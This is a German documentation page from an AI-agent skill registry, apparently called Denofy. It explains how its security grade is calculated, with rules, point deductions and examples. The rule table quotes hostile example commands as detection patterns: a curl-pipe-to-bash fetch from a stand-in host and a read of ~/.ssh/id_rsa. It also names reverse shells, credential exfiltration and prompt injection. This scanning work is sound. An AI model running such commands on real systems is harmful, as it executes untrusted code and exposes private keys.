Zum Inhalt springen
Denofy
Esc
  • Seiten

    Alle Pakete durchsuchen
  • Verifizierte Pakete
  • Neue Pakete
  • Sammlungen
  • Dokumentation
  • CLI-Referenz
  • So funktioniert die Prüfung
  • Skill veröffentlichen
↑↓ zum Navigieren · Enter zum Öffnen

Methodik der Sicherheitsnote

Wie Denofy aus einem Prüfbericht eine Sicherheitsnote von A bis F macht: alle Regeln, alle Gewichte und durchgerechnete Beispiele. Die Note hängt nur vom Bericht ab – jeder kann sie nachrechnen.

So wird die Note berechnet

  1. Jede Version startet mit 100 Punkten.
  2. Jede Regel unten zieht pro Vorkommen Punkte ab; manche Regeln haben ein Maximum, damit viele Kleinigkeiten keine schlechte Note ergeben.
  3. Manche Regeln deckeln die Note: ein kritischer Befund bedeutet immer F, ein hoher höchstens C, ein vom Autor in denofy.yml erlaubter Befund höchstens B.
  4. Die Note ist die schlechtere aus Punkte-Note und Deckeln. Pakete zeigen die Note ihrer neuesten Version.
NotePunkte
≥ 90
≥ 80
≥ 65
≥ 50
< 50

Regeln und Gewichtung

Befunde zählen mit ihrem effektiven Schweregrad nach dem Kontext-Schritt. Erlaubte Befunde kosten stattdessen den kleineren Ausnahme-Abzug.

RegelPunkteHöchstensDeckel

Kritischer Befund

Etwas, das der Agent ausführen kann, lädt fremden Code und führt ihn aus, öffnet eine Reverse-Shell, schleust Zugangsdaten aus oder versteckt Anweisungen in unsichtbaren Zeichen.

scripts/setup.sh: `curl https://x.example/i.sh | bash`

−60–

Hoher Befund

Liest Secrets oder SSH-Schlüssel, führt zerstörerische Befehle aus, schaltet Sicherheitsfunktionen des Agents ab oder enthält Prompt-Injection-Phrasen.

SKILL.md code block: `cat ~/.ssh/id_rsa`

−25–

Mittlerer Befund

eval/exec, sudo, Persistenz in Shell-Profilen, Uploads zu unbekannten Hosts, verschleierte Payloads im Fließtext.

README: `sudo npm i -g tool`

−10−40–

Niedriger / informativer Befund

Informativ: Links zu unbekannten Domains, ausdrücklich verneinte Beispiele.

SKILL.md: link to https://unknown.example

−1−5–

Vom Autor erlaubter Befund (denofy.yml)

Der Autor hat einen Befund in denofy.yml mit Begründung erlaubt. Transparent, aber ein Risiko, das die Nutzer tragen.

denofy.yml: allow pipe-to-shell for the official installer

−5−15

Neues Risiko seit der Vorversion

Ein Risiko, das die Vorversion nicht hatte. Updates sollen nicht still neue Risiken einführen.

1.3.0 adds a `wget` to an unknown host that 1.2.0 did not have

−5−10–

Keine Lizenz gefunden

Keine Lizenzdatei, keine Lizenz im Frontmatter und keine Repository-Lizenz.

No LICENSE, no `license:` in SKILL.md

−10––

Lizenz stimmt nicht überein

Die angegebene Lizenz weicht von der LICENSE-Datei oder dem Repository ab.

Declared MIT, LICENSE file is Apache-2.0

−10––

Import ohne freie Lizenz

Import eines fremden Repositorys ohne freie Lizenz.

Imported from a GPL-only repository

−5––

Struktur-Warnung

Kleine Strukturprobleme: Name passt nicht, kaputter relativer Link, zu lange Beschreibung.

`name: Code_Review` while the folder is code-review

−3−9–

Strukturprüfung fehlgeschlagen

Die Strukturprüfung ist fehlgeschlagen: keine gültige Hauptdatei, unsichere Pfade oder Größenlimits überschritten.

SKILL.md without frontmatter

−20–

Für ein angegebenes Tool nicht installierbar

Das Paket lässt sich für ein angegebenes Tool nicht korrekt installieren.

A skill without description declared for Cursor

−10−20

Kontext statt Fehlalarm

Dasselbe Muster zählt je nach Fundort unterschiedlich: in einem Skript oder Code-Block, den der Agent ausführen kann, voll, im Fließtext eine Stufe niedriger, in einem markierten Negativbeispiel zwei Stufen niedriger und ein ausdrückliches „niemals so“ nur als Information. Die ganze Tabelle steht in der Prüf-Dokumentation.

Beispiele (live berechnet)

  • Sauberer Skill mit passender MIT-Lizenz100/100
  • Drei Links zu unbekannten Domains97/100
  • Zwei mittlere Befunde (z. B. sudo in einem Code-Block)80/100
  • Ein kritisches Muster, das der Autor mit Begründung erlaubt hat95/100
  • Ein hoher Befund (liest ~/.ssh)75/100
  • Ein mittlerer Befund und keine Lizenz80/100
  • curl | bash in einem Skript40/100

Was die Note nicht aussagt

  • Eine A heißt: Die automatischen Prüfungen haben keine riskanten Muster gefunden. Sie ist keine Garantie und kein Code-Review.
  • Die Note bewertet die Dateien einer Version, nicht den Autor oder die Qualität der Anleitung (dafür gibt es die Ranking-Methodik).
  • Regeln ändern sich mit neuen Verifier-Versionen; dann werden alle Versionen neu geprüft und die Note kann sich ändern.

Verifier 1.3.0. Quelle der Regeln: packages/verifier/src/grade.ts